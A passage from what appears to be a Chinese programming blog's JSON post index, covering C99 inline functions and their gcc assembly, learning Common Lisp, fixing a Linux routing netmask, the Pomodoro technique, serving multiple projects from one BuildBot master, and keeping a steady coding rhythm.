foo.c\n我们看到：无论哪种情况，我们都可以顺利通过编译，并且得到正确的执行结果。我们来看看汇编码有何变化：\n在未开启优化的情况下，我们得到如下汇编码：\n.globl foo\n.type foo, @function\nfoo:\npushl %ebp\n… …\ncall printf\nleave\nret\n.size foo, .-foo\n… …\nmain:\npushl %ebp\nmovl %esp, %ebp\nandl $-16, %esp\ncall foo\n… …\nret\n内联优化并未生效，main代码中进行了foo的函数调用。但与本文开始时的那个例子不同的是，编译器为foo生成了一份独立的global的函数定义汇编码块，这块代码可以直接被外部引用，也就是说在未开启优化的情况下，foo定义被看成了外部函数定义。\n但开启优化选项的情况下，我们得到如下汇编码：\n.globl foo\n.type foo, @function\nfoo:\npushl %ebp\n… …\ncall __printf_chk\nleave\nret\n… …\nmain:\npushl %ebp\nmovl %esp, %ebp\nandl $-16, %esp\nsubl $16, %esp\nmovl $.LC0, 8(%esp)\nmovl $.LC1, 4(%esp)\nmovl $1, (%esp)\ncall __printf_chk\nxorl %eax, %eax\nleave\nret\n内联优化生效了，main代码中并未显式地进行foo的函数调用。并且编译器依旧为foo生成了一份独立的global的函数定义汇编码块，这块代码可以直接被外部引用，也就是说在开启优化的情况下，foo定义在本编译单元被看作内联定义，同时对其他编译单元而言，也是外部函数定义。\n我们通过在头文件中增加一个外部函数声明实现了我们的目标！不过上面方法虽然实现了一份定义既可以当作inline定义，也可以作为外部定义，但inline定义仅局限于定义它的那个编译单元，其他编译单元即使在开启内联优化时，依旧无法实施内联优化。如果我们希望多个编译单元共享一份inline定义并且这份定义也可以同时作为外部函数定义，我们该如何做呢？ – 那我们只能把inline定义放到头文件中了！见下面代码：\n/* foo.h */\ninline void foo() {\nprintf (\u0026ldquo;foo in %s\\n\u0026rdquo;, __FILE__);\n}\n/* foo.c */\n#include\n#include \u0026ldquo;foo.h\u0026rdquo;\nint main() {\nfoo();\nreturn 0;\n}\n/* bar.c */\n#include\n#include \u0026ldquo;foo.h\u0026rdquo;\nvoid bar() {\nfoo();\n}\n$ gcc -std=c99 foo.c -S -O2\n我们看看开启优化情况下的bar.c和foo.c对应的汇编代码，以foo.s为例：\n/* foo.s */\n… …\nmain:\npushl %ebp\nmovl %esp, %ebp\nandl $-16, %esp\nsubl $16, %esp\nmovl $.LC0, 8(%esp)\nmovl $.LC1, 4(%esp)\nmovl $1, (%esp)\ncall __printf_chk\nxorl %eax, %eax\nleave\nret\n… …\n内联优化生效，bar.s也是一样，不过编译器没有为我们生成foo的独立外部定义代码，这样的foo定义只能作为inline定义，而不能被作为外部函数定义。如果此时不开启优化选项编译，我们还会得到如下错误：\n/tmp/ccpp1E7i.o: In function `main\u0026rsquo;:\nfoo.c:(.text+0×7): undefined reference to `foo\u0026rsquo;\n/tmp/ccQk872R.o: In function `bar\u0026rsquo;:\nbar.c:(.text+0×7): undefined reference to `foo\u0026rsquo;\ncollect2: ld returned 1 exit status\n我们稍作改动，在foo.c和bar.c的文件开始处，我们加上这样一行代码：\u0026ldquo;extern inline void foo();\u0026quot;，加上后，我们重新编译，这回foo在被内联优化的同时，也被生成了一份独立的外部函数定义。我们的目标又达到了!\n总之，C99中inline相对比较怪异，使用时务必小心慎重。\n","permalink":"https://tonybai.com/2011/06/22/also-talk-about-inline-function-in-c/","summary":"\u003cp\u003e有这样一段代码：\u003c/p\u003e\n\u003cp\u003e/* foo.c */\u003cbr\u003e\n#include  \u0026ldquo;stdio.h\u0026rdquo;\u003c/p\u003e\n\u003cp\u003einline void foo() {\u003cbr\u003e\n    printf(\u0026ldquo;inline foo in %s\\n\u0026rdquo;, __FILE__);\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003eint main() {\u003cbr\u003e\n    foo();\u003cbr\u003e\n    return 0;\u003cbr\u003e\n}\u003c/p\u003e\n\u003cp\u003e我采用\u003ca href=\"http://en.wikipedia.org/wiki/C99\"\u003eC99\u003c/a\u003e标准，并在不加任何优化选项的情况下编译之：\u003c/p\u003e\n\u003cp\u003e$ gcc -std=c99 foo.c -o foo\u003cbr\u003e\nfoo.c: In function ‘foo’:\u003cbr\u003e\n/tmp/ccLGkuIK.o: In function `main\u0026rsquo;:\u003cbr\u003e\nfoo.c:(.text+0×7): undefined reference to `foo\u0026rsquo;\u003cbr\u003e\ncollect2: ld returned 1 exit status\u003c/p\u003e","title":"也谈C语言的内联函数"},{"content":"Paul Graham不愧被誉为Lisp的超级推手，他的煽动力真的是很强悍。这不才刚刚看完一遍他编写的《黑客与画家》后，我就决定将Common Lisp作为今年计划学习的那门新语言，而且从现在就开始。\n去年曾囫囵吞枣般的学习过Haskell，一门通用且庞大的纯函数式编程语言。在惊叹于Haskell如此与众不同且功能强大的同时，也为Haskell Monad那魔鬼般的蹩脚语法所苦恼，而Monad的引入就是为了隔离副作用，并让你可以利用些过程式命令式语言解决问题的范式。\n原以为Common Lisp也是一门函数式编程语言，应该与Haskell很像，但在看了《ANSI Common Lisp》一书后的前几章后我才发现其实不是那么回事儿。Common Lisp设计初衷其实是一门支持多范式的通用语言。除了语法上更接近于函数式编程范式外，你完全可以用Common Lisp写出具有过程式特点的代码（而且看起来也很容易）。另外Common Lisp Object System(CLOS)还给你提供了OO范式的选择。与Haskell相比，对于我这个C程序员来讲，Common Lisp带来思维跳跃似乎更小些，更有利于后续的学习和使用。\n与Haskell的强类型和静态类型（即使你不显式指出类型，Haskell也会根据一些上下文的clue推导出类型，如果它发现类有不匹配，那么编译期间就会报错）不同，Common Lisp是动态类型和弱类型的，当然你也可以显式声明类型，但这么做也仅有利于编译器对代码的速度优化，并不能阻止什么。如：\n\u0026gt; (declaim (type fixnum count))\n\u0026gt; NIL\n\u0026gt; (format t count)\n*** – EVAL: variable COUNT has no value\n\u0026gt; (setf count \u0026ldquo;hello lisp\u0026rdquo;)\n\u0026gt; \u0026ldquo;hello lisp\u0026rdquo;\n\u0026gt; (format t count)\n\u0026gt; hello lisp\n\u0026gt; NIL\n看到了吧，即使我们显式声明了count为fixnum类型，我们依然可以用字符串为其赋值。\nLisp语法十分简单：万物皆在括号内，无论代码还是数据。Lisp一直因括号泛滥而被诟病，不过对于我来说还好，也许是因为在C语言中也没少使用括号的缘故吧。另外现在的编辑器都支持高亮括号匹配，这样只要你细心些，写代码时基本不会出现因括号不匹配导致的一些问题。\n编程语言影响思维习惯，但思维的转变不是一蹴而就的，也就是说用惯了C、Python等语言后，再去学习类似Common Lisp这类语言的确有些困难。遇到某问题时，或多或少还会首先以过程式的思维去考虑。另外Common Lisp也确实不是一门“小语言”，和Haskell一样，Common Lisp也很庞大，这也使得这些语言的学习曲线陡增。\n之前一直认为Lisp也是一门解释性的语言，类似Python采用解析器的方式执行，性能不会很快。后来经了解后才得知诸多编译器（如CLisp）都是将源代码编译为某种格式的字节中间码，这样不仅性能得到了提升，可移植性还得到了兼顾。当然Lisp性能与C比起来还是要差出至少一个数量级的。Common Lisp的编译器我装了两个：CLisp和SBCL，目前来看似乎后者的开发更活跃一些。我个人则更多地使用CLisp。\n这里必须得承认的是Lisp语言的应用还是比较小众的，甚至很多程序员都没有听说过有Lisp这门语言的存在。在实际商业开发中更是很少见到用Lisp实现的系统，这方面Haskell也有着同样的”感受“。不过近几年Lisp各种方言大有回升之势，Lisper们需要是耐心和时间。如果要想了解如何利用Common Lisp进行一些实际系统的开发，那么你就不能放过Peter Seibel于2005年编写的《Practical Common Lisp》一书。后来出版的《Real World Haskell》想必也是学习Peter Seibel试图为Haskell开发者们找到一条实际应用之道吧。\n但有关Common Lisp的入门书，我还是觉得Paul Graham的《Ansi Common Lisp》更适合，另外在这之前可以先拜读一下Paul Graham的文章\u0026quot;The Roots of Lisp\u0026quot;，这将对Lisp的学习大有裨益。\n既然本文的主题为Hello，Common Lisp，那最后还是按学习新语言的惯例，在这里向大家展示一下用Common Lisp是如何编写Hello World的吧：\n;; HelloWorld.lisp\n(defun hello-world ()\n(format t \u0026ldquo;hello, world!\u0026rdquo;))\n(hello-world)\n","permalink":"https://tonybai.com/2011/06/21/hello-common-lisp/","summary":"\u003cp\u003e\u003ca href=\"http://www.paulgraham.com/\"\u003ePaul Graham\u003c/a\u003e不愧被誉为\u003ca href=\"http://en.wikipedia.org/wiki/Lisp_(programming_language)\"\u003eLisp\u003c/a\u003e的超级推手，他的煽动力真的是很强悍。这不才刚刚看完一遍他编写的《\u003ca href=\"http://book.douban.com/subject/6021440\"\u003e黑客与画家\u003c/a\u003e》后，我就决定将\u003ca href=\"http://en.wikipedia.org/wiki/Common_Lisp\"\u003eCommon Lisp\u003c/a\u003e作为今年计划学习的那门新语言，而且从现在就开始。\u003c/p\u003e\n\u003cp\u003e去年曾囫囵吞枣般的学习过\u003ca href=\"http://tonybai.com/2010/11/14/the-chinese-translation-project-for-programming-in-haskell/\"\u003eHaskell\u003c/a\u003e，一门通用且庞大的纯函数式编程语言。在惊叹于Haskell如此与众不同且功能强大的同时，也为Haskell Monad那魔鬼般的蹩脚语法所苦恼，而Monad的引入就是为了隔离副作用，并让你可以利用些过程式命令式语言解决问题的范式。\u003c/p\u003e","title":"Hello，Common Lisp"},{"content":"大学时曾旁听过计算机专业的专业课-\u0026ldquo;计算机网络\u0026rdquo;（我非科班出身，只能偷偷旁听），现在还能清晰地记得当初他们使用的教材是高教社影印版的《计算机网络——自顶向下方法与Internet特色》。不过记忆中课程的内容却渐渐模糊了。有些当时并没有深刻地理解的概念，现在依旧没理解，因为平时少有涉及。\n上周在搭建CI环境时遇到了两个服务器(均安装的是RHEL 5.5 OS)之间网络不通的问题。这两个服务器分处于两个不同的局域网网段：服务器A IP为10.10.12.xxx，服务器B的IP为10.10.13.yyy，从A到B无法Ping通，但B到A是没有问题的。这时恰巧一位系统工程师同事到开发大厅办事，我就顺便请他帮忙解决这个问题。\n不知道是因为有急事呢，还是我没有说清楚问题所在，他在A主机上先是删除了若干路由，然后又在/etc/rc.local中添加了一条路由：\u0026ldquo;route add -net 10.10.0.0 gw 10.10.12.1 netmask 255.255.0.0\u0026rdquo;，生效后，A主机居然可以Ping通主机B了，问题解决了，他也就匆忙离开了。\n我也本以为这样就可以了，但不久我就发现A主机无法连上DNS Server了，要知道在路由表被修改之前是可以的。无奈之下，我只能自己尝试去搞定了。首先先注释掉rc.local中的那条新增静态路由，然后reboot系统，让系统恢复到之前的路由表配置（通过route命令增删的路由都是临时路由）。\n接下来，就是查找各种资料，重新认知一下IP路由选择的原理。经典的《TCP/IP协议-卷1》一直躺在家中的书柜里，手头上只有《Linux系统管理技术手册(Linux Administration Handbook)》这本书。不过还好，这本书也足够经典，里面对TCP/IP网络的讲解更实际，也更具可操作性。\n说到路由，我们不得不回顾一下IP地址。IP地址不是孤立的，或者说一个孤立的IP地址是信息不完整的。我们无法通过一个孤立的IP地址来确定下什么。我们需要将它与子网掩码结合一起来使用。掩码就是用来指示IP地址中网络地址部分和主机地址之间的边界的。举例来说：如果一台主机配置的IP地址为10.10.12.105，子网掩码为255.255.255.0，那么这台主机所在的物理网络的地址就是(10.10.12.105 \u0026amp; 255.255.255.0) = 10.10.12.0，而最后那个字节用于主机地址分配，主机编号可以从1到254（0是网络地址，255是该网络的广播地址）。这台主机与网内的其他主机可以直接通信，无需经由任何中间设备的转发，它网内的兄弟主机编号可以是104，106…等等。\n好了，我们有了网络地址的概念了，一切就会变得好办多了。接下来我们看一下A主机当前路由表(通过route或netstat -rn命令)，看看它为何无法连到主机B。\n-bash-3.2$ route\nKernel IP routing table\nDestination Gateway Genmask Flags Metric Ref Use Iface\n10.10.12.0 * 255.255.252.0 U 0 0 0 eth0\n169.254.0.0 * 255.255.0.0 U 0 0 0 eth0\ndefault 10.10.12.1 0.0.0.0 UG 0 0 0 eth0\n这里有三条路由，与问题相关的是第一条和第三条。而169.254.0.0是zeroconf产生的IP地址，称为Link Local Addresses，Mac OS X, Windows和比较新的Linux都支持这类地址。其作用是无需配置即可联网，比DHCP还简单，不需要服务器，只要把电脑设备间用网线连接在一起即可。这条路由与本文无关，故这里一笔带过。\n关于route命令结果中各个列的含义这里就不细说了。我们来看一下当尝试从A主机向B主机发送数据包时会发生什么呢？我们假设B主机的IP地址为10.10.13.222。当A主机构造好IP包后，会到路由表中查询路由。简单地说就是逐条路由匹配，直到匹配成功后，将IP包发往对应路由记录的Destinaion网络中去。如果没有匹配的路由，则将该包发往默认(default)路由对应的gateway设备。\n在这个例子中，我们会用10.10.13.222与各条路由记录匹配。如果10.10.13.222 \u0026amp; Genmask == Destination，我们就说匹配成功。显然通过计算，10.10.13.222和第一条路由记录就匹配成功了：10.10.13.222 \u0026amp; 255.255.252.0 = 10.10.12.1，那目的IP地址为10.10.13.222的IP包就会被发往网内。但是IP层的下面的链路层和物理层会发现10.10.13.222根本不属于本网络，发送失败。这就是为何从A主机无法ping通B主机的原因。再细致看看，原来是第一条路由的Genmask配置错了，本来应该配置为255.255.255.0，但是却配置成了255.255.252.0，这无意中为该物理网络做了\u0026quot;扩容\u0026quot;。修正后的路由表如下：\n-bash-3.2$ route\nKernel IP routing table\nDestination Gateway Genmask Flags Metric Ref Use Iface\n10.10.12.0 * 255.255.255.0 U 0 0 0 eth0\n169.254.0.0 * 255.255.0.0 U 0 0 0 eth0\ndefault 10.10.12.1 0.0.0.0 UG 0 0 0 eth0\n修正后，我们再来走一遍上述的流程。为到10.10.13.222的IP包匹配路由，经计算发现无可成功匹配的记录，则该IP包采用默认路由，也就是第三条路由，通过eth0网口转到10.10.12.1这个gateway设备上了。后者会将该IP包转发到10.10.13.0这个网络中去，这就实现了位于两个不同网络中的两台主机A与B之间的互联互通了。\n另外要说的是上面这些路由数据是从哪里来的呢？在Redhat Linux中，这些数据是在网卡初始化时由系统读取网卡配置文件而得来的。在Redhat中，网卡配置文件位于：/etc/systconfig/network-scripts下,文件名是ifcfg-eth0，…。\n","permalink":"https://tonybai.com/2011/06/21/solve-a-problem-about-ip-route/","summary":"\u003cp\u003e大学时曾旁听过计算机专业的专业课-\u0026ldquo;计算机网络\u0026rdquo;（我非科班出身，只能偷偷旁听），现在还能清晰地记得当初他们使用的教材是高教社影印版的《\u003ca href=\"http://book.douban.com/subject/3989869/\"\u003e计算机网络——自顶向下方法与Internet特色\u003c/a\u003e》。不过记忆中课程的内容却渐渐模糊了。有些当时并没有深刻地理解的概念，现在依旧没理解，因为平时少有涉及。\u003c/p\u003e","title":"解决一个IP路由选择问题"},{"content":"番茄工作法（Pomodoro Technique），你可能没有听说过，呵呵，它年纪也不小了，官方说它是在1980s时发明的一种时间管理方法，只不过它最近又被一些人“挖掘”了出来，并被大力推广了一番。特别是在软件开发圈子里，被包装后的番茄工作法披上了光鲜的外衣，拥有了不少粉丝（我还算不上粉丝，充其量算是个试用者 ^_^）。\n不过和历史上诸多的时间管理方法一样，番茄工作法不是银弹，它无法将你彻底地从每天纷繁芜杂的工作中解脱出来，甚至于：\n- 它不能告诉你今天应该去做哪些事情；\n- 它不能告诉你如何排定事情的优先级；\n- 它不能告诉你如何应对各种外界打扰；\n那这种方法的优点到底何在呢？别急，下面一一道来。\n简单！首当其冲的就是简单！番茄工作法的全部核心内容只有下面几句话（也是该方法的标准执行步骤）：\n* 选择一个待完成的任务\n* 将番茄时间设为25分钟\n* 专注工作，直到番茄时钟响起，然后在纸上画一个x\n* 短暂休息一下（5分钟就行）\n* 每4个番茄时段多休息一会儿\n怎么样？看起来是不是与我们平时的工作方法没有太大区别呢？我们平时工作时也是一个任务接着一个任务的去做啊。没错！这种方法看起来似曾相识。不过细致挖掘后，你会发现这里每一步的描述中都没有废话。\n- 选择一个待完成的任务\n番茄工作法在这里没有给出如何进行任务选择的详细说明，我想这是因为在许多时间管理理论和方法中都针对这方面做了细致入微的讲解，如经典的四象限法等。再深入考量一下，你会发现番茄工作法执行前是需要你做一些准备工作的：你需要枚举出待办事项、识别出优先级别、将规模较大的Task拆分为small tasks，然后制定至少一天的番茄计划，设定每个番茄时间段（Promodora）对应的task。只有当你准备好这些，番茄工作法才能让你的工作更有效率。这里也可以理解成番茄工作法的开放性，可以让你与其他高效时间管理理论、任务分解方法充分结合，让效力倍增。\n- 将番茄时间设为25分钟\n从字面义来看，这就是一个定时器。没错，实际执行过程中，你的确需要一个定时器，物理的也好，软件实现的也好。可以支持自由设定番茄工作时间段，具备报时提醒功能。至于25分钟，我想这是发明者给出的一个经验值，你可以在初期按照25分钟设定，后续根据自己的需要自行调节。Google Chrome有一个名为ChromoDoro的番茄计时器插件很不错，我一直在用。有定时器和没有定时器，工作起来有啥分别呢？实践证明，在定时器下工作，你的潜意识中会涌出一种紧迫感，潜移默化的加强你提高完成效率的意识。\n- 专注工作，直到番茄时钟响起，然后在纸上画一个x\n别看这句不长，但我认为这句才是番茄工作法的精华。首先不得不提到的就是“专注”二字，这也是我理解的番茄工作法的第二个优点。专注，意味着迈向高效。长期使用番茄法可以大幅提高你的专注力，也间接的提升了你的效率。这个说起来容易，做起来难。不信你可以试试。其他外部干扰不说，你是否能在一个番茄时间段（25分钟）内专注于处理某件事情呢？你是否会走神（外面突然阴云密布，又要下雨了？）、是否会分心（昨晚巴萨赢没，梅西\n进球了吗？真想打开 Browser看看结果）。哈哈，实践证明，在使用番茄初期，这些都会发生，起码在我身上就不断地发生过。为啥还要在完成时在纸上画个X，我理解这是个信心强化的小技巧，强调“完成”，提高完成的信心，久而久之，这种成功反馈会给你带来充足的自信。\n- 短暂休息一下（5分钟就行）\n工作也讲究节奏，适当的节奏会让你觉得游刃有余。反之，如果长时间专注，反倒会过损脑力，降低效率。另外适当的休息也避免了一些职业疾病发生的可能性。\n- 每4个番茄时段多休息一会儿\n我的理解，和上一条差不多。不过这里除了休息之外，还可以对之前的工作进行总结和反思。另外长时间专注于某一个项或一类工作后，也许要时间重新积蓄一些热情了。\n总而言之，番茄法更强调的是执行过程的专注以及工作节奏的把握，再结合适当的反馈技巧，可以让你的效率有提高，至于提高幅度因人而异了。\n在试用番茄法的过程中，我也总结了一些经验技巧，供大家参考揣摩：\n- 根据个人实际情况，合理设置自己一个工作日内的番茄时间段，尽量将重要的工作放在头脑高效的时段，比如上午8:30~11:00，下午15:00到17:00等。不一定所有工作都要纳入番茄时间段里，找到适合自己的工作节奏。\n- 做好准备工作，明确各个番茄时间内对应的任务，最好将任务简单写到纸质便签/日记本中，便于实施画X，强化反馈。\n- 每4个番茄时段内的task的上下文差别不要太大，尽量减少task间的切换成本（进入某个task的工作状态是需要时间的）。\n- 在番茄时间段内task没完成咋办？ 这个估计经常发生，似乎只好在下一个番茄时间段里继续做了。其他task顺延。必要情况下加班完成。一旦出现这种情况，就需要你加强task划分能力，尽量做好task完成时间的预估，不断提升精确估计能力。\n-打扰是不可避免的。电话、邮件都可能打断你的工作。如果必要，可在你的番茄时间段中预留出一些处理打断的时间，比如25+5，预留5分钟。当然我们应该尽可能避免这种打扰，可用一些广为流传的技巧：比如在允许的范围内适当将mail接收的间隔延长；高挂“免战牌”，显式告知他人你已经“out of services”了；不启动即时通信工具，或设置即时通信工具的状态为外出或极其繁忙状态等等。\n再强调一点，番茄法不是孤立的，可以与其他时间管理方法（如GTD）结合使用。\n以上是个人小试番茄法之后的一些体会，图灵出版了《番茄工作法图解：简单易行的时间管理方法》，是著名的Pragmatic Bookshelf系列，不过我还没有读过， 可能也不打算读，有些东西自己体会和感悟的更深刻，不是吗^_^。\n","permalink":"https://tonybai.com/2011/06/14/try-pomodoro-technique/","summary":"\u003cp\u003e\u003ca href=\"http://www.pomodorotechnique.com/\"\u003e番茄工作法\u003c/a\u003e（\u003ca href=\"http://en.wikipedia.org/wiki/Pomodoro_Technique\"\u003ePomodoro Technique\u003c/a\u003e），你可能没有听说过，呵呵，它年纪也不小了，官方说它是在1980s时发明的一种时间管理方法，只不过它最近又被一些人“挖掘”了出来，并被大力推广了一番。特别是在软件开发圈子里，被包装后的番茄工作法披上了光鲜的外衣，拥有了不少粉丝（我还算不上粉丝，充其量算是个试用者 ^_^）。\u003c/p\u003e","title":"小试番茄工作法"},{"content":"多数公司不会仅有一个项目，当你为一个项目引入持续集成实践后，其他项目就会接踵而来。这时你会重新考量BuildBot，考虑如何让BuildBot可以服务于多个项目。\n如果你有足够的主机资源和人力资源，那为每个项目单独搭建一套CI环境是再好不过的了，每个项目都有专人维护CI环境，各个项目的配置互不干扰。不过对于一些公司来说，这显然有些浪费，BuildBot Master的资源消耗是不大的，我们完全可以使用一套BuildBot Master来服务于多个项目，至少BuildBot是可以支持这样做的。\nCI环境中，我们首要关注的就是源码库。多个项目可能各自使用单独的源码库，也可能共享一个源码库并通过目录隔离和识别。无论怎样，我们都可以通过BuildBot Master的配置来满足我们的要求。\n如果说多个项目共享一个源码库或是一个项目下的多个子系统放在一个源码库中，这时我们在配置change_source时指定一个变更监测器即可，这个监测器的监测范围从源码库的根路径开始。以Subversion源码库为例，我们可以这样来配置：\nc[\u0026lsquo;change_source\u0026rsquo;] = [SVNPoller(\u0026ldquo;svn://10.0.0.1:3000\u0026rdquo;,\nsvnuser=\u0026lsquo;tony\u0026rsquo;,\nsvnpasswd=\u0026lsquo;tony\u0026rsquo;,\npollinterval=60,\nsplit_file=change_path_split)]\n我们通过change_path_split来拆分变更文件的路径，假设SVN库结构是这样的：\nsvn://10.0.0.1:3000\n– foo_proj\n– trunk\n– main/main.c\n– branches\n– tags\n– bar_proj\n– trunk\n– main/main.c\n– branches\n– tags\n我们可以这样来实现change_path_split：\ndef change_path_split(path):\npieces = path.split(\u0026rsquo;/\u0026rsquo;)\nif pieces[0] == ‘foo_proj’ and pieces[1] == \u0026rsquo;trunk\u0026rsquo;:\nreturn (\u0026lsquo;foo_proj/trunk\u0026rsquo;, \u0026lsquo;/\u0026rsquo;.join(pieces[2:]))\nelif pieces[0] == ‘bar_proj’ and pieces[1] == \u0026rsquo;trunk\u0026rsquo;:\nreturn (\u0026lsquo;bar_proj/trunk\u0026rsquo;, \u0026lsquo;/\u0026rsquo;.join(pieces[2:]))\nelse:\nreturn None\n不同项目下的文件变更，会导致change_path_split返回不同的值，而change_path_split返回值会被用于匹配不同的Scheduler：\nc[\u0026lsquo;schedulers\u0026rsquo;].append(Scheduler(name=\u0026ldquo;foo-ci-plan\u0026rdquo;,\nbranch=\u0026lsquo;foo_proj/trunk\u0026rsquo;,\ntreeStableTimer=5,\nbuilderNames=[\u0026ldquo;foo-redhat-builder\u0026rdquo;, \u0026ldquo;foo-x86-solaris-builder\u0026rdquo;])\nc[\u0026lsquo;schedulers\u0026rsquo;].append(Scheduler(name=\u0026ldquo;bar-ci-plan\u0026rdquo;,\nbranch=\u0026lsquo;bar_proj/trunk\u0026rsquo;,\ntreeStableTimer=5,\nbuilderNames=[\u0026ldquo;bar-redhat-builder\u0026rdquo;, \u0026ldquo;bar-x86-solaris-builder\u0026rdquo;])\n上面各个Scheduler的branch属性会与change_path_split返回值元组中的第一个元素匹配，这样foo-ci-plan便是foo_proj的scheduler，而bar-ci-plan则是bar_proj的scheduler。这样某个项目路径下的文件变更只会触发对应的scheduler开始工作，不会出现误触发。\n如果多个项目或一个项目的多个模块使用不同的源码库，同理，我们可以为c[\u0026lsquo;change_source\u0026rsquo;]赋予多个SVNPoller，例如：\nc[\u0026lsquo;change_source\u0026rsquo;] = [SVNPoller(\u0026ldquo;svn://10.0.0.1:3000\u0026rdquo;,\nsvnuser=\u0026lsquo;tony\u0026rsquo;,\nsvnpasswd=\u0026lsquo;tony\u0026rsquo;,\npollinterval=60,\nsplit_file=change_path_split)，\nSVNPoller(\u0026ldquo;svn://10.0.0.1:4000\u0026rdquo;,\nsvnuser=\u0026lsquo;tony\u0026rsquo;,\nsvnpasswd=\u0026lsquo;tony\u0026rsquo;,\npollinterval=60,\nsplit_file=another_change_path_split)]\n与Scheduler的匹配方式也与上述描述一致，这里就不重复说明了。\n不同项目的干系人多不相同，那么集成的结果是如何准确地反馈给项目各自对应的干系人呢？以Mail反馈通知为例，我在BuildBot手册中找到了两种方式，一种方式是通过设置Scheduler的owner属性，然后指定MailNotifier的sendToInterestedUsers=True，意图让BuildBot将Mail通知发到owner list中的每个邮件地址，但经测试后发现，这种方式似乎不好用，不知道是否是BuildBot对该功能的实现上存在问题。\n另外一种方式则是配置多个MailNotifier。每个MailNotifier中指定对应builder的名称列表，并通过extraRecipients指定这些Builder对应的项目的干系人Mail地址列表，例如：\nc[\u0026lsquo;status\u0026rsquo;].append(mail.MailNotifier(fromaddr=\u0026quot;foo-buildbot@buildbot.net\u0026quot;,\nextraRecipients=[\u0026quot;foo1@buildbot.net\u0026quot;, \u0026ldquo;foo2@buildbot.net\u0026rdquo;],\nbuilders=[\u0026lsquo;foo-x86-solaris-builder\u0026rsquo;, \u0026lsquo;foo-redhat-builder\u0026rsquo;],\nuseTls=False,\nsendToInterestedUsers=False,\nrelayhost=\u0026ldquo;smtp.buildbot.net\u0026rdquo;,\nsmtpUser=\u0026lsquo;tony\u0026rsquo;,\nsmtpPassword=\u0026lsquo;tony\u0026rsquo;,\nsmtpPort=25))\nc[\u0026lsquo;status\u0026rsquo;].append(mail.MailNotifier(fromaddr=\u0026quot;bar-buildbot@buildbot.net\u0026quot;,\nextraRecipients=[\u0026quot;bar1@buildbot.net\u0026quot;, \u0026ldquo;bar2@buildbot.net\u0026rdquo;],\nbuilders=[\u0026lsquo;bar-x86-solaris-builder\u0026rsquo;, \u0026lsquo;bar-redhat-builder\u0026rsquo;],\nuseTls=False,\nsendToInterestedUsers=False,\nrelayhost=\u0026ldquo;smtp.buildbot.net\u0026rdquo;,\nsmtpUser=\u0026lsquo;tony\u0026rsquo;,\nsmtpPassword=\u0026lsquo;tony\u0026rsquo;,\nsmtpPort=25))\n这样foo的builders构建的结果将发到foo1和foo2；而bar的builders构建结果将反馈到bar1和bar2。\n多个项目共享一套BuildBot Master有利有弊，其不足之处可能有如下几点：\n1、项目过多时，可能存在潜在的性能问题\n2、Master的配置被多个项目共享，存在潜在的Conflict问题；\n3、另外master.cfg可能size过大，也不利于阅读和维护。\n","permalink":"https://tonybai.com/2011/06/07/use-buildbot-serves-serveral-projects-simultaneously/","summary":"\u003cp\u003e多数公司不会仅有一个项目，当你为一个项目引入持续集成实践后，其他项目就会接踵而来。这时你会重新考量\u003ca href=\"http://tonybai.com/2011/05/18/set-up-ci-environment-with-buildbot/\"\u003eBuildBot\u003c/a\u003e，考虑如何让BuildBot可以服务于多个项目。\u003c/p\u003e\n\u003cp\u003e如果你有足够的主机资源和人力资源，那为每个项目单独搭建一套CI环境是再好不过的了，每个项目都有专人维护CI环境，各个项目的配置互不干扰。不过对于一些公司来说，这显然有些浪费，BuildBot Master的资源消耗是不大的，我们完全可以使用一套BuildBot Master来服务于多个项目，至少BuildBot是可以支持这样做的。\u003c/p\u003e","title":"让BuildBot服务于多个项目"},{"content":"最近观察到这样一种情况，项目组内的两位比较资深同事似乎都习惯于这样来编码：他们可能会花上两、三周时间将一个模块的成百上千行代码一气呵成的编写完，然后再去与其他人编写的代码集成在一起编译，测试，最终提交。这种情况让我有些惊讶，因为我觉得一个良好的编码节奏不应该是这样的，原因有三：\n.这样的节奏不利于问题的早发现早解决\n我们都知道问题发现越早，其解决成本越小。如果只是一味地编写代码，甚至连一次编译都不做，又怎么可能尽早发现自己代码中的问题？怎么可能提早发现其他人的提交对你的模块可能带来的影响呢？这样下去的最终结果很可能是大量的返工或某个隐藏很深的问题，需要花费你较大力气去解决。\n.这样的节奏还可能会导致激情疲劳\n激情也会产生疲劳。想必很多朋友都有过类似的经历：一旦长时间投入在一件事情上，如若没有阶段性的成果或者中途遇到一些挫折，那激情也会疲劳，甚至是丧失。程序员都是很有激情的！你一定见过那些整天以方便食品度日，为了某个功能奋战N天N宿的蓬头垢面的程序员们。他们埋头于键盘与屏幕间，将用智慧加工后的字符输入到计算机中。但程序员也是人，如果一直这么下去，没有阶段性反馈，渐渐地，他们的效率就会降低，思维就会僵化，最终导致结果远不如预期。\n.这样的节奏不利于自身信心的建立\n在这样只有编码，没有编译，没有必要单元测试的情况下，你如何确保代码质量是没问题的呢？你是否敢于站出来对着大家说我编写的代码是牢不可摧的。显然你不能，因为你没有收到任何关于代码质量评估的反馈。甚至于你的代码是否可以正确地通过编译器的检查都未曾而知，你又哪里有对代码的那份自信呢？\n好了，说了这么多原因，那什么样的节奏算是良好的节奏呢？用一句话概括就是“小步快跑，迭代进行，循序渐进”。其主旨在于划大为小、快速完成、快速反馈（通过构建、单元测试）、快速调整，依此循环往复。划大为小是基础，也是一种任务分解的能力；快速完成和反馈能让你及早发现问题，包括自身的以及与他人集成过程中的；快速调整意为迅速应对发现的问题，及时变更设计、重构代码，直至满足。这样每轮下来，你会发现已经完成的任务都是相对健壮的，这种健壮同时也会给你一种正面的反馈，让你保持继续的激情和动力，同时也会给你带来充足的信心。这样一轮一轮下去，你就会持续不断地得到正反馈，这会促使你最终得到一个相对比较健壮的成果物，你的信心也会因此得到倍增。\n如果你和我的同事采用了同样的编码节奏，那你不妨尝试调整一下^_^。\n","permalink":"https://tonybai.com/2011/06/03/hold-the-coding-rhythm/","summary":"\u003cp\u003e最近观察到这样一种情况，项目组内的两位比较资深同事似乎都习惯于这样来编码：他们可能会花上两、三周时间将一个模块的成百上千行代码一气呵成的编写完，然后再去与其他人编写的代码集成在一起编译，测试，最终提交。这种情况让我有些惊讶，因为我觉得一个良好的编码节奏不应该是这样的，原因有三：\u003c/p\u003e","title":"把握好编码的节奏"},{"content":"在“使用BuildBot搭建持续集成环境”一文中我曾经说到：公司使用的mail服务器只支持SSL连接，而BuildBot似乎对SSL连接的支持有些问题，导致构建结果mail无法发送“。BuildBot实际上使用的是Twisted的mail库来发送邮件的，我下载了Twisted的一些mail发送的例子程序，并使用我的公司mail账户配置，但依旧发送失败。看来这个问题与Twisted的实现有关了。\n这个问题已